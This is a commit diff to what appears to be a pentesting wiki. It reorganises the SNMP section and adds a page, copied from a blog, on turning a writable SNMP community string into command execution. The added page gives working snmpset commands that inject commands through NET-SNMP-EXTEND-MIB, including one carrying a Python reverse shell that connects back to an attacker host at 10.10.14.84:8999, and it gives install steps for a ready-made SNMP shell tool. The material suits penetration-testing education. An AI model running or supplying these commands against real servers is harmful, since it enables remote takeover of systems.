GitBook: [master] 4 pages modified
This commit is contained in:
CPol
gitbook-bot
parent
b565c98e5c
commit
d9da0f19d5
|
|
@ -246,7 +246,8 @@
|
|||
* [137,138,139 - Pentesting NetBios](pentesting/137-138-139-pentesting-netbios.md)
|
||||
* [139,445 - Pentesting SMB](pentesting/pentesting-smb.md)
|
||||
* [143,993 - Pentesting IMAP](pentesting/pentesting-imap.md)
|
||||
* [161,162,10161,10162/udp - Pentesting SNMP](pentesting/pentesting-snmp.md)
|
||||
* [161,162,10161,10162/udp - Pentesting SNMP](pentesting/pentesting-snmp/README.md)
|
||||
* [SNMP RCE](pentesting/pentesting-snmp/snmp-rce.md)
|
||||
* [194,6667,6660-7000 - Pentesting IRC](pentesting/pentesting-irc.md)
|
||||
* [264 - Pentesting Check Point FireWall-1](pentesting/pentesting-264-check-point-firewall-1.md)
|
||||
* [389, 636, 3268, 3269 - Pentesting LDAP](pentesting/pentesting-ldap.md)
|
||||
|
|
|
|||
|
|
@ -19,7 +19,7 @@ Scalar objects define a single object instance whereas tabular objects define mu
|
|||
**OIDs** stands for **O**bject **Id**entifiers. **OIDs uniquely identify managed objects in a MIB hierarchy**. This can be depicted as a tree, the levels of which are assigned by different organizations. Top level MIB object IDs \(OIDs\) belong to different standard organizations.
|
||||
**Vendors define private branches including managed objects for their own products.**
|
||||
|
||||
|
||||
|
||||
|
||||
You can **navigate** through an **OID tree** from the web here: [http://www.oid-info.com/cgi-bin/display?tree=\#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) or **see what a OID means** \(like `1.3.6.1.2.1.1`\) accessing [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).
|
||||
There are some **well-known OIDs** like the ones inside [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) that references MIB-2 defined Simple Network Management Protocol \(SNMP\) variables. And from the **OIDs pending from this one** you can obtain some interesting host data \(system data, network data, processes data...\)
|
||||
|
|
@ -85,7 +85,7 @@ In versions 1 and 2/2c if you to use a **bad** community string the server wont
|
|||
|
||||
## Brute-Force Community String \(v1 and v2c\)
|
||||
|
||||
To **guess the community string** you could perform a dictionary attack. Check [here different ways to perform a brute-force attack against SNMP](../brute-force.md#snmp).
|
||||
To **guess the community string** you could perform a dictionary attack. Check [here different ways to perform a brute-force attack against SNMP](../../brute-force.md#snmp).
|
||||
|
||||
## Enumerating SNMP
|
||||
|
||||
|
|
@ -111,6 +111,12 @@ And **in** _**/etc/snmp/snmp.conf**_ **comment the line "mibs :"**
|
|||
|
||||
**SNMP** has a lot of information about the host and things that you may find interesting are: **Network interfaces** \(IPv4 and **IPv6** address\) and **processes running** \(may contain passwords\)....
|
||||
|
||||
## From SNMP to RCE
|
||||
|
||||
If you have the **string** that allows you to **write values** inside the SNMP service, you may be able to abuse it to **execute commands**:
|
||||
|
||||
{% page-ref page="snmp-rce.md" %}
|
||||
|
||||
## **Massive SNMP**
|
||||
|
||||
[Braa ](https://github.com/mteg/braa)is a mass SNMP scanner. The intended usage of such a tool is, of course, making SNMP queries – but unlike snmpwalk from net-snmp, it is able to query dozens or hundreds of hosts simultaneously, and in a single process. Thus, it consumes very few system resources and does the scanning VERY fast.
|
||||
|
|
@ -0,0 +1,78 @@
|
|||
# SNMP RCE
|
||||
|
||||
This post was copied from [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
|
||||
|
||||
SNMP is sometimes overseen by the administrator of the device or server where it is left in a default configuration. SNMP community with write permissions \(**rwcommunity**\) on the Linux operating system can be abused to let the attacker execute a command on the server.
|
||||
|
||||
|
||||
|
||||
## **Extending the Services**
|
||||
|
||||
While you are not able to modify existing entries that were configured in **snmpd.conf**, it is possible to add additional commands over SNMP, because the “MAX-ACCESS” permission setting in the MIB definition is set to “**read-create**”
|
||||
|
||||
Adding a new command basically works by appending an additional row to the “**nsExtendObjects**” table.
|
||||
|
||||
```bash
|
||||
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
|
||||
'nsExtendStatus."evilcommand"' = createAndGo \
|
||||
'nsExtendCommand."evilcommand"' = /bin/echo \
|
||||
'nsExtendArgs."evilcommand"' = 'hello world'
|
||||
```
|
||||
|
||||
Injecting a command to run on the SNMP service. **NET-SNMP-EXTEND-MIB** requires that you always provide the absolute path to the executable. The called binary/script must also exist and be executable.
|
||||
|
||||
|
||||
|
||||
Executing the command that we injected to the SNMP by enumerating it using snmpwalk
|
||||
|
||||
```bash
|
||||
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
|
||||
```
|
||||
|
||||
Showing that the command is /bin/echo.
|
||||
|
||||
|
||||
|
||||
The command will be executed when the it is read. **run-on-read\(\)**
|
||||
|
||||
|
||||
|
||||
The command **/bin/echo "hello rio is here"** was executed during our snmpwalk read
|
||||
|
||||
|
||||
|
||||
## **Getting the Shell** **from Net-SNMP Extend**
|
||||
|
||||
In this section, I would like to discuss how to gain a server shell to control the server.
|
||||
|
||||
You can use python script developed by **mxrch** that can be downloaded from [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git)
|
||||
|
||||
You can install the pre-requisite to run this:
|
||||
|
||||
```bash
|
||||
sudo apt install snmp snmp-mibs-downloader rlwrap -y
|
||||
git clone https://github.com/mxrch/snmp-shell
|
||||
cd snmp-shell
|
||||
sudo python3 -m pip install -r requirements.txt
|
||||
```
|
||||
|
||||
|
||||
|
||||
**Creating reverse shell**
|
||||
|
||||
You can also create reverse shell manually by injecting the command below into the SNMP
|
||||
|
||||
```bash
|
||||
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
|
||||
```
|
||||
|
||||
|
||||
|
||||
run the snmpwalk to trigger the command execution
|
||||
|
||||
|
||||
|
||||
Our netcat receives the reverseshell connection from the victim that allow us to gain control over the victim machine
|
||||
|
||||
|
||||
|
||||
Loading…
Reference in New Issue